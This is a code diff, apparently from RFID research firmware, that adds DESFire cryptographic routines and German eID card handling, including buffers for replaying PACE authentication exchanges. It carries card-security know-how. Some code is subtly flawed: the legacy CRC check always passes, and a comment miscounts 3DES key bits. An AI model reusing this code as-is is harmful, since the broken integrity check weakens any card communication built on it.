algorithm. + * Key expansion is done automatically. The key is 64 bits long, but note that + * only 56 bits are used (the LSB of each byte is dropped). The input and output + * blocks may overlap. + * + * \param out pointer to the block (64 bit = 8 byte) where the ciphertext is written to + * \param in pointer to the block (64 bit = 8 byte) where the plaintext is read from + * \param key pointer to the key (64 bit = 8 byte) + */ +void des_enc(void* out, const void* in, const void* key); + +/** \fn void des_dec(void* out, const void* in, const void* key) + * \brief decrypt a block with DES + * + * This function decrypts a block of 64 bits (8 bytes) with the DES algorithm. + * Key expansion is done automatically. The key is 64 bits long, but note that + * only 56 bits are used (the LSB of each byte is dropped). The input and output + * blocks may overlap. + * + * \param out pointer to the block (64 bit = 8 byte) where the plaintext is written to + * \param in pointer to the block (64 bit = 8 byte) where the ciphertext is read from + * \param key pointer to the key (64 bit = 8 byte) + */ +//void des_dec(void* out, const void* in, const void* key); +void des_dec(void* out, const void* in, const uint8_t* key); + +/** \fn void tdes_enc(void* out, const void* in, const void* key) + * \brief encrypt a block with Tripple-DES + * + * This function encrypts a block of 64 bits (8 bytes) with the Tripple-DES (EDE) + * algorithm. Key expansion is done automatically. The key is 192 bits long, but + * note that only 178 bits are used (the LSB of each byte is dropped). The input + * and output blocks may overlap. + * + * \param out pointer to the block (64 bit = 8 byte) where the ciphertext is written to + * \param in pointer to the block (64 bit = 8 byte) where the plaintext is read from + * \param key pointer to the key (192 bit = 24 byte) + */ +//void tdes_enc(void* out, const void* in, const void* key); +void tdes_enc(void* out, void* in, const void* key); + +/** \fn void tdes_dec(void* out, const void* in, const void* key) + * \brief decrypt a block with Tripple-DES + * + * This function decrypts a block of 64 bits (8 bytes) with the Tripple-DES (EDE) + * algorithm. Key expansion is done automatically. The key is 192 bits long, but + * note that only 178 bits are used (the LSB of each byte is dropped). The input + * and output blocks may overlap. + * + * \param out pointer to the block (64 bit = 8 byte) where the plaintext is written to + * \param in pointer to the block (64 bit = 8 byte) where the ciphertext is read from + * \param key pointer to the key (192 bit = 24 byte) + */ + //void tdes_dec(void* out, const void* in, const void* key); + void tdes_dec(void* out, void* in, const uint8_t* key); + + void tdes_2key_enc(void* out, const void* in, size_t length, const void* key, unsigned char iv[8]); + void tdes_2key_dec(void* out, const void* in, size_t length, const void* key, unsigned char iv[8]); + +// Copied from des.h in desfire imp. +typedef unsigned long DES_KS[16][2]; /* Single-key DES key schedule */ +typedef unsigned long DES3_KS[48][2]; /* Triple-DES key schedule */ + +extern int Asmversion; /* 1 if we're linked with an asm version, 0 if C */ + +#endif /*DES_H_*/ diff --git a/armsrc/desfire_crypto.c b/armsrc/desfire_crypto.c new file mode 100644 index 000000000..5cb36054c --- /dev/null +++ b/armsrc/desfire_crypto.c @@ -0,0 +1,638 @@ +/*- + * Copyright (C) 2010, Romain Tartiere. + * + * This program is free software: you can redistribute it and/or modify it + * under the terms of the GNU Lesser General Public License as published by the + * Free Software Foundation, either version 3 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program. If not, see + * + * $Id$ + */ + +/* + * This implementation was written based on information provided by the + * following documents: + * + * NIST Special Publication 800-38B + * Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication + * May 2005 + */ +#include "desfire_crypto.h" + +static void xor (const uint8_t *ivect, uint8_t *data, const size_t len); +static size_t key_macing_length (desfirekey_t key); + +// iceman, see memxor inside string.c, dest/src swapped.. +static void xor (const uint8_t *ivect, uint8_t *data, const size_t len) { + for (size_t i = 0; i < len; i++) { + data[i] ^= ivect[i]; + } +} + +void cmac_generate_subkeys ( desfirekey_t key) { + int kbs = key_block_size (key); + const uint8_t R = (kbs == 8) ? 0x1B : 0x87; + + uint8_t l[kbs]; + memset (l, 0, kbs); + + uint8_t ivect[kbs]; + memset (ivect, 0, kbs); + + mifare_cypher_blocks_chained (NULL, key, ivect, l, kbs, MCD_RECEIVE, MCO_ENCYPHER); + + bool xor = false; + + // Used to compute CMAC on complete blocks + memcpy (key->cmac_sk1, l, kbs); + xor = l[0] & 0x80; + lsl (key->cmac_sk1, kbs); + if (xor) + key->cmac_sk1[kbs-1] ^= R; + + // Used to compute CMAC on the last block if non-complete + memcpy (key->cmac_sk2, key->cmac_sk1, kbs); + xor = key->cmac_sk1[0] & 0x80; + lsl (key->cmac_sk2, kbs); + if (xor) + key->cmac_sk2[kbs-1] ^= R; +} + +void cmac (const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac) { + int kbs = key_block_size (key); + uint8_t *buffer = malloc (padded_data_length (len, kbs)); + + memcpy (buffer, data, len); + + if ((!len) || (len % kbs)) { + buffer[len++] = 0x80; + while (len % kbs) { + buffer[len++] = 0x00; + } + xor (key->cmac_sk2, buffer + len - kbs, kbs); + } else { + xor (key->cmac_sk1, buffer + len - kbs, kbs); + } + + mifare_cypher_blocks_chained (NULL, key, ivect, buffer, len, MCD_SEND, MCO_ENCYPHER); + + memcpy (cmac, ivect, kbs); + free(buffer); +} + +size_t key_block_size (const desfirekey_t key) { + size_t block_size = 8; + switch (key->type) { + case T_DES: + case T_3DES: + case T_3K3DES: + block_size = 8; + break; + case T_AES: + block_size = 16; + break; + } + return block_size; +} + +/* + * Size of MACing produced with the key. + */ +static size_t key_macing_length (const desfirekey_t key) { + size_t mac_length = MAC_LENGTH; + switch (key->type) { + case T_DES: + case T_3DES: + mac_length = MAC_LENGTH; + break; + case T_3K3DES: + case T_AES: + mac_length = CMAC_LENGTH; + break; + } + return mac_length; +} + +/* + * Size required to store nbytes of data in a buffer of size n*block_size. + */ +size_t padded_data_length (const size_t nbytes, const size_t block_size) { + if ((!nbytes) || (nbytes % block_size)) + return ((nbytes / block_size) + 1) * block_size; + else + return nbytes; +} + +/* + * Buffer size required to MAC nbytes of data + */ +size_t maced_data_length (const desfirekey_t key, const size_t nbytes) { + return nbytes + key_macing_length (key); +} +/* + * Buffer size required to encipher nbytes of data and a two bytes CRC. + */ +size_t enciphered_data_length (const desfiretag_t tag, const size_t nbytes, int communication_settings) { + size_t crc_length = 0; + if (!(communication_settings & NO_CRC)) { + switch (DESFIRE(tag)->authentication_scheme) { + case AS_LEGACY: + crc_length = 2; + break; + case AS_NEW: + crc_length = 4; + break; + } + } + + size_t block_size = DESFIRE(tag)->session_key ? key_block_size (DESFIRE(tag)->session_key) : 1; + + return padded_data_length (nbytes + crc_length, block_size); +} + +void* mifare_cryto_preprocess_data (desfiretag_t tag, void *data, size_t *nbytes, size_t offset, int communication_settings) { + uint8_t *res = data; + uint8_t mac[4]; + size_t edl; + bool append_mac = true; + desfirekey_t key = DESFIRE(tag)->session_key; + + if (!key) + return data; + + switch (communication_settings & MDCM_MASK) { + case MDCM_PLAIN: + if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) + break; + + /* + * When using new authentication methods, PLAIN data transmission from + * the PICC to the PCD are CMACed, so we have to maintain the + * cryptographic initialisation vector up-to-date to check data + * integrity later. + * + * The only difference with CMACed data transmission is that the CMAC + * is not apended to the data send by the PCD to the PICC. + */ + + append_mac = false; + + /* pass through */ + case MDCM_MACED: + switch (DESFIRE(tag)->authentication_scheme) { + case AS_LEGACY: + if (!(communication_settings & MAC_COMMAND)) + break; + + /* pass through */ + edl = padded_data_length (*nbytes - offset, key_block_size (DESFIRE(tag)->session_key)) + offset; + + // Fill in the crypto buffer with data ... + memcpy (res, data, *nbytes); + // ... and 0 padding + memset (res + *nbytes, 0, edl - *nbytes); + + mifare_cypher_blocks_chained (tag, NULL, NULL, res + offset, edl - offset, MCD_SEND, MCO_ENCYPHER); + + memcpy (mac, res + edl - 8, 4); + + // Copy again provided data (was overwritten by mifare_cypher_blocks_chained) + memcpy (res, data, *nbytes); + + if (!(communication_settings & MAC_COMMAND)) + break; + // Append MAC + size_t bla = maced_data_length (DESFIRE(tag)->session_key, *nbytes - offset) + offset; + bla++; + + memcpy (res + *nbytes, mac, 4); + + *nbytes += 4; + break; + case AS_NEW: + if (!(communication_settings & CMAC_COMMAND)) + break; + cmac (key, DESFIRE (tag)->ivect, res, *nbytes, DESFIRE (tag)->cmac); + + if (append_mac) { + size_t len = maced_data_length (key, *nbytes); + ++len; + memcpy (res, data, *nbytes); + memcpy (res + *nbytes, DESFIRE (tag)->cmac, CMAC_LENGTH); + *nbytes += CMAC_LENGTH; + } + break; + } + + break; + case MDCM_ENCIPHERED: + /* |<-------------- data -------------->| + * |<--- offset -->| | + * +---------------+--------------------+-----+---------+ + * | CMD + HEADERS | DATA TO BE SECURED | CRC | PADDING | + * +---------------+--------------------+-----+---------+ ---------------- + * | |<~~~~v~~~~~~~~~~~~~>| ^ | | (DES / 3DES) + * | | `---- crc16() ----' | | + * | | | ^ | | ----- *or* ----- + * |<~~~~~~~~~~~~~~~~~~~~v~~~~~~~~~~~~~>| ^ | | (3K3DES / AES) + * | `---- crc32() ----' | | + * | | ---- *then* ---- + * |<---------------------------------->| + * encypher()/decypher() + */ + + if (!(communication_settings & ENC_COMMAND)) + break; + edl = enciphered_data_length (tag, *nbytes - offset, communication_settings) + offset; + + // Fill in the crypto buffer with data ... + memcpy (res, data, *nbytes); + if (!(communication_settings & NO_CRC)) { + // ... CRC ... + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + AddCrc14A(res + offset, *nbytes - offset); + *nbytes += 2; + break; + case AS_NEW: + crc32_append (res, *nbytes); + *nbytes += 4; + break; + } + } + // ... and padding + memset (res + *nbytes, 0, edl - *nbytes); + + *nbytes = edl; + + mifare_cypher_blocks_chained (tag, NULL, NULL, res + offset, *nbytes - offset, MCD_SEND, (AS_NEW == DESFIRE(tag)->authentication_scheme) ? MCO_ENCYPHER : MCO_DECYPHER); + break; + default: + + *nbytes = -1; + res = NULL; + break; + } + + return res; + +} + +void* mifare_cryto_postprocess_data (desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) +{ + void *res = data; + size_t edl; + void *edata = NULL; + uint8_t first_cmac_byte = 0x00; + + desfirekey_t key = DESFIRE(tag)->session_key; + + if (!key) + return data; + + // Return directly if we just have a status code. + if (1 == *nbytes) + return res; + + switch (communication_settings & MDCM_MASK) { + case MDCM_PLAIN: + + if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) + break; + + /* pass through */ + case MDCM_MACED: + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + if (communication_settings & MAC_VERIFY) { + *nbytes -= key_macing_length (key); + if (*nbytes <= 0) { + *nbytes = -1; + res = NULL; +#ifdef WITH_DEBUG + Dbprintf ("No room for MAC!"); +#endif + break; + } + + edl = enciphered_data_length (tag, *nbytes - 1, communication_settings); + edata = malloc (edl); + + memcpy (edata, data, *nbytes - 1); + memset ((uint8_t *)edata + *nbytes - 1, 0, edl - *nbytes + 1); + + mifare_cypher_blocks_chained (tag, NULL, NULL, edata, edl, MCD_SEND, MCO_ENCYPHER); + + if (0 != memcmp ((uint8_t *)data + *nbytes - 1, (uint8_t *)edata + edl - 8, 4)) { +#ifdef WITH_DEBUG + Dbprintf ("MACing not verified"); + hexdump ((uint8_t *)data + *nbytes - 1, key_macing_length (key), "Expect ", 0); + hexdump ((uint8_t *)edata + edl - 8, key_macing_length (key), "Actual ", 0); +#endif + DESFIRE (tag)->last_pcd_error = CRYPTO_ERROR; + *nbytes = -1; + res = NULL; + } + } + break; + case AS_NEW: + if (!(communication_settings & CMAC_COMMAND)) + break; + if (communication_settings & CMAC_VERIFY) { + if (*nbytes < 9) { + *nbytes = -1; + res = NULL; + break; + } + first_cmac_byte = ((uint8_t *)data)[*nbytes - 9]; + ((uint8_t *)data)[*nbytes - 9] = ((uint8_t *)data)[*nbytes-1]; + } + + int n = (communication_settings & CMAC_VERIFY) ? 8 : 0; + cmac (key, DESFIRE (tag)->ivect, ((uint8_t *)data), *nbytes - n, DESFIRE (tag)->cmac); + + if (communication_settings & CMAC_VERIFY) { + ((uint8_t *)data)[*nbytes - 9] = first_cmac_byte; + if (0 != memcmp (DESFIRE (tag)->cmac, (uint8_t *)data + *nbytes - 9, 8)) { +#ifdef WITH_DEBUG + Dbprintf ("CMAC NOT verified :-("); + hexdump ((uint8_t *)data + *nbytes - 9, 8, "Expect ", 0); + hexdump (DESFIRE (tag)->cmac, 8, "Actual ", 0); +#endif + DESFIRE (tag)->last_pcd_error = CRYPTO_ERROR; + *nbytes = -1; + res = NULL; + } else { + *nbytes -= 8; + } + } + break; + } + + free (edata); + + break; + case MDCM_ENCIPHERED: + (*nbytes)--; + bool verified = false; + int crc_pos = 0x00; + int end_crc_pos = 0x00; + uint8_t x; + + /* + * AS_LEGACY: + * ,-----------------+-------------------------------+--------+ + * \ BLOCK n-1 | BLOCK n | STATUS | + * / PAYLOAD | CRC0 | CRC1 | 0x80? | 0x000000000000 | 0x9100 | + * `-----------------+-------------------------------+--------+ + * + * <------------ DATA ------------> + * FRAME = PAYLOAD + CRC(PAYLOAD) + PADDING + * + * AS_NEW: + * ,-------------------------------+-----------------------------------------------+--------+ + * \ BLOCK n-1 | BLOCK n | STATUS | + * / PAYLOAD | CRC0 | CRC1 | CRC2 | CRC3 | 0x80? | 0x0000000000000000000000000000 | 0x9100 | + * `-------------------------------+-----------------------------------------------+--------+ + * <----------------------------------- DATA ------------------------------------->| + * + * <----------------- DATA ----------------> + * FRAME = PAYLOAD + CRC(PAYLOAD + STATUS) + PADDING + STATUS + * `------------------' + */ + + mifare_cypher_blocks_chained (tag, NULL, NULL, res, *nbytes, MCD_RECEIVE, MCO_DECYPHER); + + /* + * Look for the CRC and ensure it is followed by NULL padding. We + * can't start by the end because the CRC is supposed to be 0 when + * verified, and accumulating 0's in it should not change it. + */ + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + crc_pos = *nbytes - 8 - 1; // The CRC can be over two blocks + if (crc_pos < 0) { + /* Single block */ + crc_pos = 0; + } + break; + case AS_NEW: + /* Move status between payload and CRC */ + res = DESFIRE (tag)->crypto_buffer; + memcpy (res, data, *nbytes); + + crc_pos = (*nbytes) - 16 - 3; + if (crc_pos < 0) { + /* Single block */ + crc_pos = 0; + } + memcpy ((uint8_t *)res + crc_pos + 1, (uint8_t *)res + crc_pos, *nbytes - crc_pos); + ((uint8_t *)res)[crc_pos] = 0x00; + crc_pos++; + *nbytes += 1; + break; + } + + do { + uint16_t crc16 =0x00; + uint32_t crc; + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + AddCrc14A( (uint8_t*)res, end_crc_pos); + end_crc_pos = crc_pos + 2; + // + + + crc = crc16; + break; + case AS_NEW: + end_crc_pos = crc_pos + 4; + crc32_ex (res, end_crc_pos, (uint8_t *)&crc); + break; + } + if (!crc) { + verified = true; + for (int n = end_crc_pos; n < *nbytes - 1; n++) { + uint8_t byte = ((uint8_t *)res)[n]; + if (!( (0x00 == byte) || ((0x80 == byte) && (n == end_crc_pos)) )) + verified = false; + } + } + if (verified) { + *nbytes = crc_pos; + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + ((uint8_t *)data)[(*nbytes)++] = 0x00; + break; + case AS_NEW: + /* The status byte was already before the CRC */ + break; + } + } else { + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + break; + case AS_NEW: + x = ((uint8_t *)res)[crc_pos - 1]; + ((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos]; + ((uint8_t *)res)[crc_pos] = x; + break; + } + crc_pos++; + } + } while (!verified && (end_crc_pos < *nbytes)); + + if (!verified) { +#ifdef WITH_DEBUG + /* FIXME In some configurations, the file is transmitted PLAIN */ + Dbprintf("CRC not verified in decyphered stream"); +#endif + DESFIRE (tag)->last_pcd_error = CRYPTO_ERROR; + *nbytes = -1; + res = NULL; + } + + break; + default: + Dbprintf("Unknown communication settings"); + *nbytes = -1; + res = NULL; + break; + + } + return res; +} + + +void mifare_cypher_single_block (desfirekey_t key, uint8_t *data, uint8_t *ivect, MifareCryptoDirection direction, MifareCryptoOperation operation, size_t block_size) +{ + uint8_t ovect[MAX_CRYPTO_BLOCK_SIZE]; + + if (direction == MCD_SEND) { + xor (ivect, data, block_size); + } else { + memcpy (ovect, data, block_size); + } + + uint8_t edata[MAX_CRYPTO_BLOCK_SIZE]; + + switch (key->type) { + case T_DES: + switch (operation) { + case MCO_ENCYPHER: + //DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); + des_enc(edata, data, key->data); + break; + case MCO_DECYPHER: + //DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); + des_dec(edata, data, key->data); + break; + } + break; + case T_3DES: + switch (operation) { + case MCO_ENCYPHER: + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); + // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); + tdes_enc(edata,data, key->data); + break; + case MCO_DECYPHER: + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); + // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); + tdes_dec(data, edata, key->data); + break; + } + break; + case T_3K3DES: + switch (operation) { + case MCO_ENCYPHER: + tdes_enc(edata,data, key->data); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT); + // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_ENCRYPT); + break; + case MCO_DECYPHER: + tdes_dec(data, edata, key->data); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_DECRYPT); + // DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT); + // DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT); + break; + } + break; + case T_AES: + switch (operation) + { + case MCO_ENCYPHER: + { + AesCtx ctx; + AesCtxIni(&ctx, ivect, key->data, KEY128,CBC); + AesEncrypt(&ctx, data, edata, sizeof(edata) ); + break; + } + case MCO_DECYPHER: + { + AesCtx ctx; + AesCtxIni(&ctx, ivect, key->data, KEY128,CBC); + AesDecrypt(&ctx, edata, data, sizeof(edata)); + break; + } + } + break; + } + + memcpy (data, edata, block_size); + + if (direction == MCD_SEND) { + memcpy (ivect, data, block_size); + } else { + xor (ivect, data, block_size); + memcpy (ivect, ovect, block_size); + } +} + +/* + * This function performs all CBC cyphering / deciphering. + * + * The tag argument may be NULL, in which case both key and ivect shall be set. + * When using the tag session_key and ivect for processing data, these + * arguments should be set to NULL. + * + * Because the tag may contain additional data, one may need to call this + * function with tag, key and ivect defined. + */ +void mifare_cypher_blocks_chained (desfiretag_t tag, desfirekey_t key, uint8_t *ivect, uint8_t *data, size_t data_size, MifareCryptoDirection direction, MifareCryptoOperation operation) { + size_t block_size; + + if (tag) { + if (!key) + key = DESFIRE (tag)->session_key; + if (!ivect) + ivect = DESFIRE (tag)->ivect; + + switch (DESFIRE (tag)->authentication_scheme) { + case AS_LEGACY: + memset (ivect, 0, MAX_CRYPTO_BLOCK_SIZE); + break; + case AS_NEW: + break; + } + } + + block_size = key_block_size (key); + + size_t offset = 0; + while (offset < data_size) { + mifare_cypher_single_block (key, data + offset, ivect, direction, operation, block_size); + offset += block_size; + } +} \ No newline at end of file diff --git a/armsrc/desfire_crypto.h b/armsrc/desfire_crypto.h new file mode 100644 index 000000000..9964d094f --- /dev/null +++ b/armsrc/desfire_crypto.h @@ -0,0 +1,18 @@ +#ifndef __DESFIRE_CRYPTO_H +#define __DESFIRE_CRYPTO_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "crc32.h" +#include "printf.h" +#include "desfire.h" +#include "iso14443a.h" + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/armsrc/desfire_key.c b/armsrc/desfire_key.c new file mode 100644 index 000000000..800ff6da6 --- /dev/null +++ b/armsrc/desfire_key.c @@ -0,0 +1,156 @@ +/*- + * Copyright (C) 2010, Romain Tartiere. + * + * This program is free software: you can redistribute it and/or modify it + * under the terms of the GNU Lesser General Public License as published by the + * Free Software Foundation, either version 3 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program. If not, see + * + * $Id$ + */ + +#include "desfire_key.h" + +static inline void update_key_schedules (desfirekey_t key); + +static inline void update_key_schedules (desfirekey_t key) { + // DES_set_key ((DES_cblock *)key->data, &(key->ks1)); + // DES_set_key ((DES_cblock *)(key->data + 8), &(key->ks2)); + // if (T_3K3DES == key->type) { + // DES_set_key ((DES_cblock *)(key->data + 16), &(key->ks3)); + // } +} + +void Desfire_des_key_new (const uint8_t value[8], desfirekey_t key) { + uint8_t data[8]; + memcpy (data, value, 8); + for (int n=0; n < 8; n++) + data[n] &= 0xfe; + Desfire_des_key_new_with_version (data, key); +} + +void Desfire_des_key_new_with_version (const uint8_t value[8], desfirekey_t key) { + if ( key != NULL) { + key->type = T_DES; + memcpy (key->data, value, 8); + memcpy (key->data+8, value, 8); + update_key_schedules (key); + } +} + +void Desfire_3des_key_new (const uint8_t value[16], desfirekey_t key) { + uint8_t data[16]; + memcpy (data, value, 16); + for (int n=0; n < 8; n++) + data[n] &= 0xfe; + for (int n=8; n < 16; n++) + data[n] |= 0x01; + Desfire_3des_key_new_with_version (data, key); +} + +void Desfire_3des_key_new_with_version (const uint8_t value[16], desfirekey_t key) { + if ( key != NULL ){ + key->type = T_3DES; + memcpy (key->data, value, 16); + memcpy (key->data + 16, value, 8); + update_key_schedules (key); + } +} + +void Desfire_3k3des_key_new (const uint8_t value[24], desfirekey_t key) { + uint8_t data[24]; + memcpy (data, value, 24); + for (int n=0; n < 8; n++) + data[n] &= 0xfe; + Desfire_3k3des_key_new_with_version (data, key); +} + +void Desfire_3k3des_key_new_with_version (const uint8_t value[24], desfirekey_t key) { + if ( key != NULL){ + key->type = T_3K3DES; + memcpy (key->data, value, 24); + update_key_schedules (key); + } +} + + void Desfire_aes_key_new (const uint8_t value[16], desfirekey_t key) { + Desfire_aes_key_new_with_version (value, 0, key); +} + + void Desfire_aes_key_new_with_version (const uint8_t value[16], uint8_t version, desfirekey_t key) { + + if (key != NULL) { + memcpy (key->data, value, 16); + key->type = T_AES; + key->aes_version = version; + } +} + +uint8_t Desfire_key_get_version (desfirekey_t key) { + uint8_t version = 0; + + for (int n = 0; n < 8; n++) { + version |= ((key->data[n] & 1) << (7 - n)); + } + return version; +} + +void Desfire_key_set_version (desfirekey_t key, uint8_t version) +{ + for (int n = 0; n < 8; n++) { + uint8_t version_bit = ((version & (1 << (7-n))) >> (7-n)); + key->data[n] &= 0xfe; + key->data[n] |= version_bit; + if (key->type == T_DES) { + key->data[n+8] = key->data[n]; + } else { + // Write ~version to avoid turning a 3DES key into a DES key + key->data[n+8] &= 0xfe; + key->data[n+8] |= ~version_bit; + } + } +} + +void Desfire_session_key_new (const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key) { + + uint8_t buffer[24]; + + switch (authkey->type) { + case T_DES: + memcpy (buffer, rnda, 4); + memcpy (buffer+4, rndb, 4); + Desfire_des_key_new_with_version (buffer, key); + break; + case T_3DES: + memcpy (buffer, rnda, 4); + memcpy (buffer+4, rndb, 4); + memcpy (buffer+8, rnda+4, 4); + memcpy (buffer+12, rndb+4, 4); + Desfire_3des_key_new_with_version (buffer, key); + break; + case T_3K3DES: + memcpy (buffer, rnda, 4); + memcpy (buffer+4, rndb, 4); + memcpy (buffer+8, rnda+6, 4); + memcpy (buffer+12, rndb+6, 4); + memcpy (buffer+16, rnda+12, 4); + memcpy (buffer+20, rndb+12, 4); + Desfire_3k3des_key_new (buffer, key); + break; + case T_AES: + memcpy (buffer, rnda, 4); + memcpy (buffer+4, rndb, 4); + memcpy (buffer+8, rnda+12, 4); + memcpy (buffer+12, rndb+12, 4); + Desfire_aes_key_new (buffer, key); + break; + } +} \ No newline at end of file diff --git a/armsrc/desfire_key.h b/armsrc/desfire_key.h new file mode 100644 index 000000000..4e6fdaea9 --- /dev/null +++ b/armsrc/desfire_key.h @@ -0,0 +1,20 @@ +#ifndef __DESFIRE_KEY_INCLUDED +#define __DESFIRE_KEY_INCLUDED + +#include +#include +#include "iso14443a.h" +#include "desfire.h" +//#include "mifare.h" // iso14a_card_select_t struct +void Desfire_des_key_new (const uint8_t value[8], desfirekey_t key); +void Desfire_3des_key_new (const uint8_t value[16], desfirekey_t key); +void Desfire_des_key_new_with_version (const uint8_t value[8], desfirekey_t key); +void Desfire_3des_key_new_with_version (const uint8_t value[16], desfirekey_t key); +void Desfire_3k3des_key_new (const uint8_t value[24], desfirekey_t key); +void Desfire_3k3des_key_new_with_version (const uint8_t value[24], desfirekey_t key); +void Desfire_aes_key_new (const uint8_t value[16], desfirekey_t key); +void Desfire_aes_key_new_with_version (const uint8_t value[16], uint8_t version,desfirekey_t key); +uint8_t Desfire_key_get_version (desfirekey_t key); +void Desfire_key_set_version (desfirekey_t key, uint8_t version); +void Desfire_session_key_new (const uint8_t rnda[], const uint8_t rndb[], desfirekey_t authkey, desfirekey_t key); +#endif \ No newline at end of file diff --git a/armsrc/epa.c b/armsrc/epa.c index b0ae5e0d0..5a8fdc8bb 100644 --- a/armsrc/epa.c +++ b/armsrc/epa.c @@ -5,17 +5,14 @@ // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// Routines to support the German eletronic "Personalausweis" (ID card) +// Routines to support the German electronic "Personalausweis" (ID card) // Note that the functions which do not implement USB commands do NOT initialize // the card (with iso14443a_select_card etc.). If You want to use these // functions, You need to do the setup before calling them! //----------------------------------------------------------------------------- - -#include "iso14443a.h" #include "epa.h" -#include "cmd.h" -// Protocol and Parameter Selection Request +// Protocol and Parameter Selection Request for ISO 14443 type A cards // use regular (1x) speed in both directions // CRC is already included static const uint8_t pps[] = {0xD0, 0x11, 0x00, 0x52, 0xA6}; @@ -74,6 +71,54 @@ static const uint8_t oid_pace_start[] = { 0x04 // id-PACE }; +// APDUs for replaying: +// MSE: Set AT (initiate PACE) +static uint8_t apdu_replay_mse_set_at_pace[41]; +// General Authenticate (Get Nonce) +static uint8_t apdu_replay_general_authenticate_pace_get_nonce[8]; +// General Authenticate (Map Nonce) +static uint8_t apdu_replay_general_authenticate_pace_map_nonce[75]; +// General Authenticate (Mutual Authenticate) +static uint8_t apdu_replay_general_authenticate_pace_mutual_authenticate[75]; +// General Authenticate (Perform Key Agreement) +static uint8_t apdu_replay_general_authenticate_pace_perform_key_agreement[18]; +// pointers to the APDUs (for iterations) +static struct { + uint8_t len; + uint8_t *data; +} const apdus_replay[] = { + {sizeof(apdu_replay_mse_set_at_pace), apdu_replay_mse_set_at_pace}, + {sizeof(apdu_replay_general_authenticate_pace_get_nonce), apdu_replay_general_authenticate_pace_get_nonce}, + {sizeof(apdu_replay_general_authenticate_pace_map_nonce), apdu_replay_general_authenticate_pace_map_nonce}, + {sizeof(apdu_replay_general_authenticate_pace_mutual_authenticate), apdu_replay_general_authenticate_pace_mutual_authenticate}, + {sizeof(apdu_replay_general_authenticate_pace_perform_key_agreement), apdu_replay_general_authenticate_pace_perform_key_agreement} +}; + +// lengths of the replay APDUs +static uint8_t apdu_lengths_replay[5]; + +// type of card (ISO 14443 A or B) +static char iso_type = 0; + +//----------------------------------------------------------------------------- +// Wrapper for sending APDUs to type A and B cards +//----------------------------------------------------------------------------- +int EPA_APDU(uint8_t *apdu, size_t length, uint8_t *response) +{ + switch(iso_type) + { + case 'a': + return iso14_apdu(apdu, (uint16_t) length, response); + break; + case 'b': + return iso14443b_apdu(apdu, length, response); + break; + default: + return 0; + break; + } +} + //----------------------------------------------------------------------------- // Closes the communication channel and turns off the field //----------------------------------------------------------------------------- @@ -81,6 +126,7 @@ void EPA_Finish() { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); + iso_type = 0; } //----------------------------------------------------------------------------- @@ -101,16 +147,16 @@ size_t EPA_Parse_CardAccess(uint8_t *data, pace_version_info_t *pace_info) { size_t index = 0; - + while (index <= length - 2) { // determine type of element // SET or SEQUENCE if (data[index] == 0x31 || data[index] == 0x30) { // enter the set (skip tag + length) index += 2; - // extended length + // check for extended length if ((data[index - 1] & 0x80) != 0) { - index += (data[index] & 0x7F); + index += (data[index-1] & 0x7F); } } // OID @@ -158,7 +204,7 @@ size_t EPA_Parse_CardAccess(uint8_t *data, index += 2 + data[index + 1]; } } - + // TODO: We should check whether we reached the end in error, but for that // we need a better parser (e.g. with states like IN_SET or IN_PACE_INFO) return 0; @@ -176,29 +222,31 @@ int EPA_Read_CardAccess(uint8_t *buffer, size_t max_length) // we reserve 262 bytes here just to be safe (256-byte APDU + SW + ISO frame) uint8_t response_apdu[262]; int rapdu_length = 0; - + // select the file EF.CardAccess - rapdu_length = iso14_apdu((uint8_t *)apdu_select_binary_cardaccess, + 